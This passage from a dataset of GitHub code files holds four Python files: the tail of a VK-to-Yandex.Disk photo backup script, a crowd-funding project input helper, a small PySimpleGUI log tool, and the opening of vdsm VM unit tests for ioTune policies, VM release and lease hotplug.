likes_photos.keys():\n                    like_time = str(like) + '_' + time.strftime(\"%m%d%Y\", time.localtime(int(elem['date'])))\n                    likes_photos[like_time] = [elem['sizes'][-1]['url'], elem['sizes'][-1]['type']]\n                else:\n                    likes_photos[like] = [elem['sizes'][-1]['url'], elem['sizes'][-1]['type']]\n        return likes_photos\n\nclass YaUploader:\n    \"\"\"\n    Класс предназначен для работы с API Yandex.Диск\n    \"\"\"\n\n    def get_headers(self):\n\n        # Получаем токен для Яндекс.Диск из файла\n        config = configparser.ConfigParser()  # создаём объекта парсера\n        config.read(\"/Users/denistimakov/PycharmProjects/TestingYaUpload/settings.ini\")  # читаем конфиг\n        config['DEFAULT']['vk_token']\n        self.ya_token = config['DEFAULT']['ya_token']\n\n        return {\n            \"Content-Type\": \"application/json\",\n            \"Authorization\": \"OAuth {}\".format(self.ya_token)\n        }\n\n    def check_folder(self):\n        \"\"\"\n        Метод для проверки наличия папки Photo_backup на Яндекс.Диск\n        Возвращает информацию о директории в виде словаря\n        \"\"\"\n        check_url = \"https://cloud-api.yandex.net/v1/disk/resources?path=disk%3A%2FPhoto_backup\"\n        headers = self.get_headers()\n        response = requests.get(check_url, headers=headers)\n        folder_info = response.json()\n        return folder_info\n\n    def create_folder(self):\n        \"\"\"\n        Метод для создания директории в Я.Диск для бэкапа\n        возвращает информацию о созданной или существующей директории\n        \"\"\"\n        current_folder = self.check_folder()\n        if 'DiskNotFoundError' in current_folder.values():\n            create_url = \"https://cloud-api.yandex.net/v1/disk/resources\"\n            headers = self.get_headers()\n            params = {\"path\": \"Photo_backup\"}\n            response = requests.put(create_url, headers=headers, params=params)\n            return response.json()\n        else:\n            return current_folder\n\n    def _get_upload_link(self, disk_file_path):\n        \"\"\"\n        Мето�� возвращает ссылку на Яндекс.Диск\n        \"\"\"\n        create_dir = self.create_folder()\n        upload_url = \"https://cloud-api.yandex.net/v1/disk/resources/upload?https://sun9-69.userapi.com/c5853/u2612048/-6/w_72e349fe.jpg\"\n        headers = self.get_headers()\n        params = {\"path\": disk_file_path, \"overwrite\": \"true\"}\n        response = requests.get(upload_url, headers=headers, params=params)\n        return response.json()\n\nclass Photo_upload:\n\n    def upload(self):\n        \"\"\"Метод загружает файлы по списку file_list на яндекс диск\"\"\"\n\n        # Создаем экземпляр класса Photo_backup и получаем словарь от get_photos\n        photos = Photo_backup()\n        photos_dict = photos.get_photos()\n\n        # создаем переменную для сохранения результата и последующей ее записи в json-файл\n        result_list = []\n\n        for key, value in photos_dict.items():\n\n            # Загружаем на ПК фотографию по полученной ссылке из ВК (value)\n            img_data = requests.get(value[0]).content\n            with open(str(key)+'.jpg', 'wb') as handler:\n                handler.write(img_data)\n\n            # Получаем ссылку для загрузки на Я.Диск с названием файла на Я.Диске\n            get_link = YaUploader()\n            href = get_link._get_upload_link(disk_file_path=\"Photo_backup/\"+str(key)+\".jpg\").get(\"href\", \"\")\n            # Загружаем фотографии на Я.Диск\n            response = requests.put(href, img_data)\n\n            # Логируем события загрузки фотогрий на Я.Диск\n            response.raise_for_status()\n            if response.status_code == 201:\n                print(f'{key}.jpg Succes')\n                result_list.append({\"file_name\": str(key)+\".jpg\",\n                                    \"size\": value[-1]})\n\n                # Удаляем jpg файлы из рабочей директории\n                dir_name = os.path.abspath(os.curdir)\n                photo_files = os.listdir(dir_name)\n                for item in photo_files:\n                    if item.endswith(\".jpg\"):\n                        os.remove(os.path.join(dir_name, item))\n            else:\n                print(f'{key}.jpg Error')\n        return result_list\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n    uploader = Photo_upload()\n    result = uploader.upload()\n\n    def save_result():\n        # Записываем в json результат загрузки файлов на Я.Диск\n        with open('data.json', 'w') as f:\n            json.dump(result, f)","repo_name":"denistimakovgit/BackupPhotos","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8750,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38915412432","text":"import entities.project as project\nfrom utilities.Validator import Validator\nfrom datetime import *\n\n\ndef get_title():\n    title = input(\"> Please Enter The project title: \")\n    while project.exists(title) or not Validator.validate_title(title):\n        print(\"> This project title already exists or You entered invalid title name !!\")\n        print(\"> please use only alphabetic chars\")\n        title = input(\"> Please Enter a new  project title: \")\n    return title.strip()\n\n\ndef get_details():\n    details = input(\"> Please Enter The project details: \")\n    while not details:\n        print(\"> details can't be empty !!\")\n        details = input(\"> Please Enter The project details: \")\n    return details\n\n\ndef get_total_target():\n    total_target = input(\"> Please Enter the total project target: \")\n    while not total_target.isdigit():\n        total_target = input(\"> Please Enter a correct  project target: \")\n    return total_target\n\n\ndef get_start_time():\n    start_time = input(\"Please Enter the start date in the form of dd-mm-yyyy: \")\n    while not Validator.validate_datetime(start_time):\n        print(\"The start time must be in the form of dd-mm-yyyy !! and valid time after (now)\")\n        start_time = input(\"Please Enter the start date in the form of dd-mm-yyyy: \")\n    return start_time\n\n\ndef get_end_time(start_time):\n    _format = \"%d-%m-%Y\"\n    end_time = input(\"Please Enter the end date in the form of dd-mm-yyyy: \")\n    while not Validator.validate_datetime(start_time):\n        print(\"The end time must be in the form of dd-mm-yyyy !!\")\n        end_time = input(\"Please Enter the end date in the form of dd-mm-yyyy: \")\n    _start_time = datetime.strptime(start_time, _format)\n    _end_time = datetime.strptime(end_time, _format)\n    if _start_time > _end_time:\n        print(\"End Time must came after start time\")\n        get_end_time(start_time)\n    return end_time\n\n\ndef get_project_data():\n    from entities.user import main_user as user\n    title = get_title()\n    details = get_details()\n    total_target = get_total_target()\n    start_time = get_start_time()\n    end_time = get_end_time(start_time)\n\n    return {\n        \"title\": title,\n        \"details\": details,\n        \"total_target\": total_target,\n        \"start_time\": start_time,\n        \"end_time\": end_time,\n        \"user_email\": user['email']\n    }\n","repo_name":"AymanxMohamed/python-crowd-funding","sub_path":"utilities/create_project.py","file_name":"create_project.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28153510509","text":"#import LogBot.py\n\n\n# hello_psg.py\n\nimport PySimpleGUI as sg\n\nlayout = [[sg.Text(\"Simplifies the log diagnosis process!\")],\n            [sg.Text(\"whatever you type here will be displayed when you click SUBMIT:\")], [sg.Input(key='-INPUT-')],\n            [sg.Text(\"End Date:\")], [sg.Input()],\n            [sg.Text(\"Number of Days:\")], [sg.Input()],\n            [sg.Text(\"Number of Hours:\")], [sg.Input()],\n            [sg.Text(\"Categories:\")], [sg.Input()],\n            [sg.Text(\"Pattern:\")], [sg.Input()],\n            [sg.Button(\"SUBMIT\")], [sg.Button(\"QUIT\")],\n            [sg.Text(size=(40,2), key='-OUTPUT-')]\n        ]\n\n# Create the window\nwindow = sg.Window(\"LogBot\", layout)\n\n# Create an event loop\nwhile True:\n    event, values = window.read()\n    # End program if user closes window or\n    # presses the OK button\n    if event == \"QUIT\":\n        window.close()\n    if event == \"SUBMIT\" or event == sg.WIN_CLOSED:\n         window['-OUTPUT-'].update('Look at me: ' + values['-INPUT-'] + '\\nWOW this text is fucking yellow!', text_color='yellow')\n\nwindow.close()","repo_name":"sborbel/LogBot","sub_path":"LogBot_gui.py","file_name":"LogBot_gui.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70574194887","text":"from __future__ import absolute_import\nfrom __future__ import division\n\nimport functools\nimport logging\nimport os.path\nimport threading\nimport time\nimport uuid\n\nfrom contextlib import contextmanager\nfrom itertools import product\n\nimport libvirt\nfrom six.moves import zip\n\nfrom vdsm import constants\n\nfrom vdsm.common import cpuarch\nfrom vdsm.common import define\nfrom vdsm.common import exception\nfrom vdsm.common import libvirtconnection\nfrom vdsm.common import response\nfrom vdsm.common import xmlutils\n\nimport vdsm.common.time\n\nfrom vdsm.virt import cpumanagement\nfrom vdsm.virt import periodic\nfrom vdsm.virt import utils\nfrom vdsm.virt import virdomain\nfrom vdsm.virt import vm\nfrom vdsm.virt import vmdevices\nfrom vdsm.virt import vmexitreason\nfrom vdsm.virt import vmstats\nfrom vdsm.virt import vmstatus\nfrom vdsm.virt import xmlconstants\nfrom vdsm.virt.vmdevices import hwclass\nfrom vdsm.virt.vmdevices.storage import DISK_TYPE\nfrom vdsm.virt.vmtune import (\n    io_tune_merge,\n    io_tune_dom_to_values,\n    io_tune_to_dom,\n)\n\nfrom monkeypatch import MonkeyPatch, MonkeyPatchScope\nfrom testValidation import brokentest\nfrom testlib import VdsmTestCase as TestCaseBase\nfrom testlib import XMLTestCase\nfrom testlib import make_config\nfrom testlib import namedTemporaryDir\nfrom testlib import permutations, expandPermutations\nfrom testlib import recorded\n\nfrom fakelib import FakeLogger\n\nfrom . import vmfakelib as fake\nimport pytest\n\n\n_VM_PARAMS = {\n    'displayPort': -1,\n    'displaySecurePort': -1,\n    'display': 'qxl',\n    'displayIp': '127.0.0.1',\n    'vmType': 'kvm',\n    'memSize': 1024\n}\n\n\n_TICKET_PARAMS = {\n    'userName': 'admin',\n    'userId': 'fdfc627c-d875-11e0-90f0-83df133b58cc'\n}\n\n\n@expandPermutations\nclass TestVm(XMLTestCase):\n\n    def __init__(self, *args, **kwargs):\n        super(TestVm, self).__init__(*args, **kwargs)\n        self.channelListener = None\n        self.conf = {'vmName': 'testVm',\n                     'vmId': '9ffe28b6-6134-4b1e-8804-1185f49c436f',\n                     'smp': '8', 'maxVCpus': '160',\n                     'memSize': '1024', 'memGuaranteedSize': '512'}\n\n    def testIoTuneException(self):\n        SERIAL = '54-a672-23e5b495a9ea'\n        devConf = {'index': '0', 'propagateErrors': 'on', 'iface': 'virtio',\n                   'name': 'vda', 'format': 'cow', 'device': 'disk',\n                   'path': '/tmp/disk1.img', 'type': 'disk',\n                   'readonly': 'False', 'shared': 'True', 'serial': SERIAL}\n        tuneConfs = [\n            {'read_iops_sec': 1000, 'total_iops_sec': 2000},\n            {'read_bytes_sec': -5},\n            {'aaa': 100},\n            {'read_iops_sec': 'aaa'}]\n\n        expectedExceptMsgs = [\n            'A non-zero total value and non-zero read/write value for'\n            ' iops_sec can not be set at the same time',\n            'parameter read_bytes_sec value should be equal or greater'\n            ' than zero',\n            'parameter aaa name is invalid',\n            'an integer is required for ioTune parameter read_iops_sec']\n\n        for (tuneConf, exceptionMsg) in \\\n                zip(tuneConfs, expectedExceptMsgs):\n            drive = vmdevices.storage.Drive(self.log, diskType=DISK_TYPE.FILE,\n                                            **devConf)\n\n            with pytest.raises(Exception) as cm:\n                drive.iotune = tuneConf\n\n            assert cm.value.args[0] == exceptionMsg\n\n    def testVmPolicyOnStartup(self):\n        LIMIT = '50'\n        with fake.VM(_VM_PARAMS) as testvm:\n            dom = fake.Domain()\n            dom.setMetadata(libvirt.VIR_DOMAIN_METADATA_ELEMENT,\n                            '<qos><vcpuLimit>%s</vcpuLimit></qos>' % (\n                                LIMIT\n                            ),\n                            xmlconstants.METADATA_VM_TUNE_PREFIX,\n                            xmlconstants.METADATA_VM_TUNE_URI,\n                            0)\n            testvm._dom = dom\n            # it is bad practice to test private functions -and we know it.\n            # But enduring the full VM startup is too cumbersome, and we\n            # need to test this code.\n            testvm._updateVcpuLimit()\n            stats = testvm.getStats()\n            assert stats['vcpuUserLimit'] == LIMIT\n\n    def testGetVmPolicySucceded(self):\n        with fake.VM() as testvm:\n            testvm._dom = fake.Domain()\n            self.assertXMLEqual(xmlutils.tostring(testvm._getVmPolicy()),\n                                '<qos/>')\n\n    def testGetVmPolicyEmptyOnNoMetadata(self):\n        with fake.VM() as testvm:\n            testvm._dom = fake.Domain(\n                virtError=libvirt.VIR_ERR_NO_DOMAIN_METADATA)\n            self.assertXMLEqual(xmlutils.tostring(testvm._getVmPolicy()),\n                                '<qos/>')\n\n    def testGetVmPolicyFailOnNoDomain(self):\n        with fake.VM() as testvm:\n            testvm._dom = fake.Domain(virtError=libvirt.VIR_ERR_NO_DOMAIN)\n            assert testvm._getVmPolicy() is None\n\n    def testUpdateVmPolicy(self):\n        with fake.VM() as machine:\n            dom = fake.Domain()\n            machine._dom = dom\n\n            policy = {\n                \"vcpuLimit\": 50,\n                \"ioTune\": [\n                    {\n                        \"name\": \"test-device-by-name\",\n                        \"maximum\": {\n                            \"total_bytes_sec\": 200, \"total_iops_sec\": 201,\n                            \"read_bytes_sec\": 202, \"read_iops_sec\": 203,\n                            \"write_bytes_sec\": 204, \"write_iops_sec\": 205\n                        },\n                        \"guaranteed\": {\n                            \"total_bytes_sec\": 100, \"total_iops_sec\": 101,\n                            \"read_bytes_sec\": 102, \"read_iops_sec\": 103,\n                            \"write_bytes_sec\": 104, \"write_iops_sec\": 105\n                        }\n                    },\n                    {\n                        \"path\": \"test-device-by-path\",\n                        \"maximum\": {\n                            \"total_bytes_sec\": 400, \"total_iops_sec\": 401,\n                            \"read_bytes_sec\": 402, \"read_iops_sec\": 403,\n                            \"write_bytes_sec\": 404, \"write_iops_sec\": 405\n                        },\n                        \"guaranteed\": {\n                            \"total_bytes_sec\": 300, \"total_iops_sec\": 301,\n                            \"read_bytes_sec\": 302, \"read_iops_sec\": -1,\n                            \"write_bytes_sec\": 304, \"write_iops_sec\": 305\n                        }\n                    }\n                ]\n            }\n\n            machine.updateVmPolicy(policy)\n\n            expected_xml = (u\"\"\"\n            <qos>\n                <vcpuLimit>50</vcpuLimit>\n                <ioTune>\n                    <device name=\"test-device-by-name\">\n                        <maximum>\n                            <total_bytes_sec>200</total_bytes_sec>\n                            <total_iops_sec>201</total_iops_sec>\n                            <read_bytes_sec>202</read_bytes_sec>\n                            <read_iops_sec>203</read_iops_sec>\n                            <write_bytes_sec>204</write_bytes_sec>\n                            <write_iops_sec>205</write_iops_sec>\n                        </maximum>\n                        <guaranteed>\n                            <total_bytes_sec>100</total_bytes_sec>\n                            <total_iops_sec>101</total_iops_sec>\n                            <read_bytes_sec>102</read_bytes_sec>\n                            <read_iops_sec>103</read_iops_sec>\n                            <write_bytes_sec>104</write_bytes_sec>\n                            <write_iops_sec>105</write_iops_sec>\n                        </guaranteed>\n                    </device>\n                    <device path=\"test-device-by-path\">\n                        <maximum>\n                            <total_bytes_sec>400</total_bytes_sec>\n                            <total_iops_sec>401</total_iops_sec>\n                            <read_bytes_sec>402</read_bytes_sec>\n                            <read_iops_sec>403</read_iops_sec>\n                            <write_bytes_sec>404</write_bytes_sec>\n                            <write_iops_sec>405</write_iops_sec>\n                        </maximum>\n                        <guaranteed>\n                            <total_bytes_sec>300</total_bytes_sec>\n                            <total_iops_sec>301</total_iops_sec>\n                            <read_bytes_sec>302</read_bytes_sec>\n                            <write_bytes_sec>304</write_bytes_sec>\n                            <write_iops_sec>305</write_iops_sec>\n                        </guaranteed>\n                    </device>\n                </ioTune>\n            </qos>\n            \"\"\")\n\n            self.assertXMLEqual(expected_xml, dom._metadata)\n\n    def testCpuTune(self):\n        LIMIT = 50\n        with fake.VM(_VM_PARAMS) as machine:\n            machine._dom = fake.Domain()\n            policy = {\"vcpuLimit\": LIMIT}\n\n            machine.updateVmPolicy(policy)\n\n            stats = machine.getStats()\n            assert stats['vcpuUserLimit'] == LIMIT\n\n    def testIoTuneParser(self):\n        with fake.VM() as machine:\n            dom = fake.Domain()\n            machine._dom = dom\n\n            ioTuneValues = {\n                \"name\": \"test-device-by-name\",\n                \"path\": \"test-path\",\n                \"maximum\": {\n                    \"total_bytes_sec\": 200, \"total_iops_sec\": 201,\n                    \"read_bytes_sec\": 202, \"read_iops_sec\": 203,\n                    \"write_bytes_sec\": 204, \"write_iops_sec\": 205\n                },\n                \"guaranteed\": {\n                    \"total_bytes_sec\": 100, \"total_iops_sec\": 101,\n                    \"read_bytes_sec\": 102, \"read_iops_sec\": 103,\n                    \"write_bytes_sec\": 104, \"write_iops_sec\": 105\n                }\n            }\n\n            dom = io_tune_to_dom(ioTuneValues)\n            parsed = io_tune_dom_to_values(dom)\n\n            assert ioTuneValues == parsed\n\n    def testIoTuneMerge(self):\n        with fake.VM() as machine:\n            dom = fake.Domain()\n            machine._dom = dom\n\n            ioTuneValues1 = {\n                \"path\": \"test-path\",\n                \"maximum\": {\n                    \"total_bytes_sec\": 0, \"total_iops_sec\": 0,\n                    \"read_bytes_sec\": 0,\n                    \"write_bytes_sec\": 999, \"write_iops_sec\": 0\n                },\n                \"guaranteed\": {\n                    \"total_bytes_sec\": 999, \"total_iops_sec\": 0,\n                    \"read_bytes_sec\": 0, \"read_iops_sec\": 0,\n                    \"write_bytes_sec\": 0, \"write_iops_sec\": 0\n                }\n            }\n\n            ioTuneValues2 = {\n                \"name\": \"test-device-by-name\",\n                \"maximum\": {\n                    \"total_bytes_sec\": 200, \"total_iops_sec\": 201,\n                    \"read_bytes_sec\": 202, \"read_iops_sec\": 203,\n                    \"write_iops_sec\": 205\n                },\n                \"guaranteed\": {\n                    \"total_bytes_sec\": -1, \"total_iops_sec\": 101,\n                    \"read_bytes_sec\": 102, \"read_iops_sec\": 103,\n                    \"write_bytes_sec\": 104, \"write_iops_sec\": 105\n                }\n            }\n\n            ioTuneExpectedValues = {\n                \"name\": \"test-device-by-name\",\n                \"path\": \"test-path\",\n                \"maximum\": {\n                    \"total_bytes_sec\": 200, \"total_iops_sec\": 201,\n                    \"read_bytes_sec\": 202, \"read_iops_sec\": 203,\n                    \"write_bytes_sec\": 999, \"write_iops_sec\": 205\n                },\n                \"guaranteed\": {\n                    \"total_bytes_sec\": -1, \"total_iops_sec\": 101,\n                    \"read_bytes_sec\": 102, \"read_iops_sec\": 103,\n                    \"write_bytes_sec\": 104, \"write_iops_sec\": 105\n                }\n            }\n\n            ioTuneMerged = io_tune_merge(ioTuneValues1, ioTuneValues2)\n\n            assert ioTuneMerged == ioTuneExpectedValues\n\n    def testUpdateExistingVmPolicy(self):\n        with fake.VM() as machine:\n            dom = fake.Domain()\n            dom._metadata = \"\"\"\n            <qos>\n                <vcpuLimit>999</vcpuLimit>\n                <ioTune>\n                    <device name='test-device-by-name'>\n                        <maximum>\n                            <total_bytes_sec>9999</total_bytes_sec>\n                        </maximum>\n                    </device>\n                    <device name='other-device'>\n                        <maximum>\n                            <total_bytes_sec>9999</total_bytes_sec>\n                        </maximum>\n                    </device>\n                </ioTune>\n            </qos>\n            \"\"\"\n\n            machine._dom = dom\n\n            policy = {\n                \"vcpuLimit\": 50,\n                \"ioTune\": [\n                    {\n                        \"name\": \"test-device-by-name\",\n                        \"maximum\": {\n                            \"total_bytes_sec\": 200, \"total_iops_sec\": 201,\n                            \"read_bytes_sec\": 202, \"read_iops_sec\": 203,\n                            \"write_bytes_sec\": 204, \"write_iops_sec\": 205\n                        },\n                        \"guaranteed\": {\n                            \"total_bytes_sec\": 100, \"total_iops_sec\": 101,\n                            \"read_bytes_sec\": 102, \"read_iops_sec\": 103,\n                            \"write_bytes_sec\": 104, \"write_iops_sec\": 105\n                        }\n                    },\n                    {\n                        \"path\": \"test-device-by-path\",\n                        \"maximum\": {\n                            \"total_bytes_sec\": 400, \"total_iops_sec\": 401,\n                            \"read_bytes_sec\": 402, \"read_iops_sec\": 403,\n                            \"write_bytes_sec\": 404, \"write_iops_sec\": 405\n                        },\n                        \"guaranteed\": {\n                            \"total_bytes_sec\": 300, \"total_iops_sec\": 301,\n                            \"read_bytes_sec\": 302, \"read_iops_sec\": 303,\n                            \"write_bytes_sec\": 304, \"write_iops_sec\": 305\n                        }\n                    }\n                ]\n            }\n\n            machine.updateVmPolicy(policy)\n\n            expected_xml = (u\"\"\"\n            <qos>\n                <vcpuLimit>50</vcpuLimit>\n                <ioTune>\n                    <device name=\"test-device-by-name\">\n                        <maximum>\n                            <total_bytes_sec>200</total_bytes_sec>\n                            <total_iops_sec>201</total_iops_sec>\n                            <read_bytes_sec>202</read_bytes_sec>\n                            <read_iops_sec>203</read_iops_sec>\n                            <write_bytes_sec>204</write_bytes_sec>\n                            <write_iops_sec>205</write_iops_sec>\n                        </maximum>\n                        <guaranteed>\n                            <total_bytes_sec>100</total_bytes_sec>\n                            <total_iops_sec>101</total_iops_sec>\n                            <read_bytes_sec>102</read_bytes_sec>\n                            <read_iops_sec>103</read_iops_sec>\n                            <write_bytes_sec>104</write_bytes_sec>\n                            <write_iops_sec>105</write_iops_sec>\n                        </guaranteed>\n                    </device>\n                    <device name=\"other-device\">\n                        <maximum>\n                            <total_bytes_sec>9999</total_bytes_sec>\n                        </maximum>\n                    </device>\n                    <device path=\"test-device-by-path\">\n                        <maximum>\n                            <total_bytes_sec>400</total_bytes_sec>\n                            <total_iops_sec>401</total_iops_sec>\n                            <read_bytes_sec>402</read_bytes_sec>\n                            <read_iops_sec>403</read_iops_sec>\n                            <write_bytes_sec>404</write_bytes_sec>\n                            <write_iops_sec>405</write_iops_sec>\n                        </maximum>\n                        <guaranteed>\n                            <total_bytes_sec>300</total_bytes_sec>\n                            <total_iops_sec>301</total_iops_sec>\n                            <read_bytes_sec>302</read_bytes_sec>\n                            <read_iops_sec>303</read_iops_sec>\n                            <write_bytes_sec>304</write_bytes_sec>\n                            <write_iops_sec>305</write_iops_sec>\n                        </guaranteed>\n                    </device>\n                </ioTune>\n            </qos>\n            \"\"\")\n\n            self.assertXMLEqual(expected_xml, dom._metadata)\n\n    def testGetIoTunePolicy(self):\n        with fake.VM() as machine:\n            dom = fake.Domain()\n            dom._metadata = \"\"\"\n            <qos>\n                <vcpuLimit>999</vcpuLimit>\n                <ioTune>\n                    <device name='test-device-by-name'>\n                        <maximum>\n                            <total_bytes_sec>9999</total_bytes_sec>\n                        </maximum>\n                    </device>\n                    <device name='other-device'>\n                        <guaranteed>\n                            <total_bytes_sec>9999</total_bytes_sec>\n                        </guaranteed>\n                    </device>\n                </ioTune>\n            </qos>\n            \"\"\"\n            machine._dom = dom\n            machine._updateIoTuneInfo()\n\n            tunables = machine.io_tune_policy()\n            expected = [\n                {'name': u'test-device-by-name',\n                 'maximum': {\n                     u'total_bytes_sec': 9999\n                 }},\n                {'name': u'other-device',\n                 'guaranteed': {\n                     u'total_bytes_sec': 9999\n                 }}\n            ]\n            assert tunables == expected\n\n    @permutations([['<empty/>'], [None]])\n    def testNoIoTunePolicy(self, metadata):\n        with fake.VM() as machine:\n            dom = fake.Domain()\n            dom._metadata = metadata\n            machine._dom = dom\n\n            tunables = machine.io_tune_policy()\n            assert tunables == []\n\n    @brokentest(\"the test expects overwrite, the code incrementally updates\")\n    @permutations([\n        # old_iotune\n        [{}],\n        [{\"ioTune\": {}}],\n        [{\"ioTune\": {\"total_bytes_sec\": 9999}}],\n        [{\"ioTune\": {\"total_iops_sec\": 9999}}],\n        [{\"ioTune\": {\"total_bytes_sec\": 9999, \"total_iops_sec\": 9999}}],\n    ])\n    def testSetIoTune(self, old_iotune):\n\n        drives = [\n            vmdevices.storage.Drive(\n                log=self.log,\n                index=0,\n                device=\"hdd\",\n                path=\"/dev/dummy\",\n                type=hwclass.DISK,\n                iface=\"ide\",\n                specParams=old_iotune,\n                diskType=DISK_TYPE.BLOCK\n            )\n        ]\n\n        # Make the drive look like a VDSM volume\n        required = ('domainID', 'imageID', 'poolID', 'volumeID')\n        for p in required:\n            setattr(drives[0], p, \"1\")\n\n        new_iotune = {\n            \"write_bytes_sec\": 1,\n            \"total_bytes_sec\": 0,\n            \"read_bytes_sec\": 2\n        }\n\n        tunables = [\n            {\n                \"name\": drives[0].name,\n                \"ioTune\": new_iotune,\n            }\n        ]\n\n        expected_io_tune = {\n            drives[0].name: new_iotune,\n        }\n\n        expected_xml = \"\"\"\n            <disk device=\"hdd\" snapshot=\"no\" type=\"block\">\n                <source dev=\"/dev/dummy\"/>\n                <target bus=\"ide\" dev=\"hda\"/>\n                <iotune>%s</iotune>\n            </disk>\"\"\" % (\"\\n\".join([\"<%s>%s</%s>\" % (k, v, k)\n                                     for k, v in sorted(new_iotune.items())]))\n\n        with fake.VM() as machine:\n            dom = fake.Domain()\n            machine._dom = dom\n            for drive in drives:\n                machine._devices[drive.type].append(drive)\n\n            machine.setIoTune(tunables)\n\n            assert expected_io_tune == dom._io_tune\n\n            # Test that caches were properly updated\n            assert drives[0].iotune == expected_io_tune[drives[0].name]\n            self.assertXMLEqual(drives[0]._deviceXML, expected_xml)\n\n    def testGetPolicyDisconnected(self):\n        with fake.VM() as machine:\n            machine._dom = virdomain.Disconnected(machine.id)\n            policy = machine._getVmPolicy()\n            assert policy is None\n\n    def testSdIds(self):\n        \"\"\"\n        Tests that VM storage domains in use list is in sync with the vm\n        devices in use\n        \"\"\"\n        domainID = uuid.uuid4()\n        drives = [\n            vmdevices.storage.Drive(\n                self.log,\n                index=0,\n                device=\"disk\",\n                path=\"/dev/dummy\",\n                type=hwclass.DISK,\n                iface=\"ide\",\n                domainID=domainID,\n                imageID=uuid.uuid4(),\n                poolID=uuid.uuid4(),\n                volumeID=uuid.uuid4(),\n                diskType=DISK_TYPE.BLOCK,\n            ),\n            vmdevices.storage.Drive(\n                self.log,\n                index=0,\n                device=\"hdd2\",\n                path=\"/dev/dummy2\",\n                type=hwclass.DISK,\n                iface=\"ide\",\n                diskType=DISK_TYPE.BLOCK,\n            )\n        ]\n\n        with fake.VM() as machine:\n            for drive in drives:\n                machine._devices[drive.type].append(drive)\n\n            assert machine.sdIds == set([domainID])\n\n    def testVmGuestSocketFile(self):\n        # No channel\n        with fake.VM(self.conf) as testvm:\n            assert testvm._guestSocketFile is None\n        # New name\n        channel = '''\n<channel type=\"unix\">\n  <source mode=\"bind\" path=\"/path/to/channel\"/>\n  <target type=\"virtio\" name=\"ovirt-guest-agent.0\"/>\n</channel>\n        '''\n        with fake.VM(self.conf, xmldevices=channel) as testvm:\n            assert testvm._guestSocketFile == '/path/to/channel'\n        # Old name\n        channel = '''\n<channel type=\"unix\">\n  <source mode=\"bind\" path=\"/path/to/channel\"/>\n  <target type=\"virtio\" name=\"com.redhat.rhevm.vdsm\"/>\n</channel>\n        '''\n        with fake.VM(self.conf, xmldevices=channel) as testvm:\n            assert testvm._guestSocketFile == '/path/to/channel'\n\n    def test_spice_restore_set_passwd(self):\n        devices = '''\n<graphics type=\"spice\" port=\"-1\" autoport=\"yes\"\n          passwd=\"*****\" passwdValidTo=\"1970-01-01T00:00:01\" tlsPort=\"-1\">\n  <listen type=\"network\" network=\"vdsm-ovirtmgmt\"/>\n</graphics>\n'''\n        with fake.VM(xmldevices=devices, create_device_objects=True) as testvm:\n            out_dom_xml = testvm._correctGraphicsConfiguration(\n                _load_xml('vm_restore_spice_before.xml'))\n\n        self.assertXMLEqual(out_dom_xml,\n                            _load_xml('vm_restore_spice_after.xml'))\n\n    @MonkeyPatch(os, 'unlink', lambda _: None)\n    def test_release_vm_succeeds(self):\n        with fake.VM(self.conf) as testvm:\n            testvm.guestAgent = fake.GuestAgent()\n\n            dom = fake.Domain()\n\n            status = {\n                'graceful': 0,\n                'forceful': 0,\n            }\n\n            def graceful(*args):\n                status['graceful'] += 1\n                return response.success()\n\n            def forceful(*args):\n                status['forceful'] += 1\n                return response.success()\n\n            dom.destroyFlags = graceful\n            dom.destroy = forceful\n            testvm._dom = dom\n\n            testvm.releaseVm()\n            assert status == {\n                'graceful': 1,\n                'forceful': 0,\n            }\n\n    @MonkeyPatch(os, 'unlink', lambda _: None)\n    @permutations([[1], [2], [3], [9]])\n    def test_releasevm_fails(self, attempts):\n        with fake.VM(self.conf) as testvm:\n            testvm.guestAgent = fake.GuestAgent()\n\n            dom = fake.Domain()\n\n            status = {\n                'graceful': 0,\n                'forceful': 0,\n            }\n\n            def graceful(*args):\n                status['graceful'] += 1\n                raise fake.Error(libvirt.VIR_ERR_SYSTEM_ERROR)\n\n            def forceful(*args):\n                status['forceful'] += 1\n                return response.success()\n\n            dom.destroyFlags = graceful\n            dom.destroy = forceful\n            testvm._dom = dom\n\n            testvm.releaseVm(gracefulAttempts=attempts)\n            assert status == {\n                'graceful': attempts,\n                'forceful': 1,\n            }\n\n    def test_acpi_enabled(self):\n        with fake.VM(arch=cpuarch.X86_64, features='<acpi/>') as testvm:\n            assert testvm.acpi_enabled()\n\n    def test_acpi_disabled(self):\n        with fake.VM(arch=cpuarch.X86_64) as testvm:\n            assert not testvm.acpi_enabled()\n\n    def test_hotplug_lease(self):\n        params = {\n            'type': hwclass.LEASE,\n            'sd_id': 'sd_id',\n            'lease_id': 'lease_id',\n        }\n        expected_conf = {\n            'device': hwclass.LEASE,\n            'path': '/path',\n            'offset': 1048576,\n        }\n        expected_conf.update(params)\n\n        # we add a serial console device to the minimal XML,\n        # because this is the simplest way to trigger the\n        # flow that broke in rhbz#1590063\n        devices = [{\n            u'device': u'console',\n            u'specParams': {\n                u'consoleType': u'serial',\n                u'enableSocket': u'true'\n            },\n            u'type': u'console',\n            u'deviceId': u'd0fac53d-68cf-4cbb-8c9d-5f18625f04e7',\n            u'alias': u'serial0'\n        }]\n\n        with fake.VM(\n                params={},\n                devices=devices,\n                create_device_objects=True,\n                arch=cpuarch.X86_64\n        ) as testvm:\n            testvm._dom = FakeLeaseDomain()\n            testvm.cif = FakeLeaseClientIF(expected_conf)\n            res = testvm.hotplugLease(params)\n\n            assert res.pop('vmList') is not None\n            assert res == response.success()\n            # Up until here we verified the hotplugLease proper.\n\n    def testMemSize(self):\n        with fake.VM() as testvm:\n            assert testvm.mem_size_mb() == 4096\n\n    def testNvdimms(self):\n        # Add NVDIMM to the devices, update memory and make sure\n        # mem_size_mb() returns proper size\n        vm_xml = '''\n        <domain type='kvm' xmlns:ovirt-vm=\"http://ovirt.org/vm/1.0\">\n            <name>nTESTING</name>\n            <uuid>TESTING</uuid>\n            <memory unit='KiB'>12582912</memory>\n            <os>\n                <type arch='x86_64' 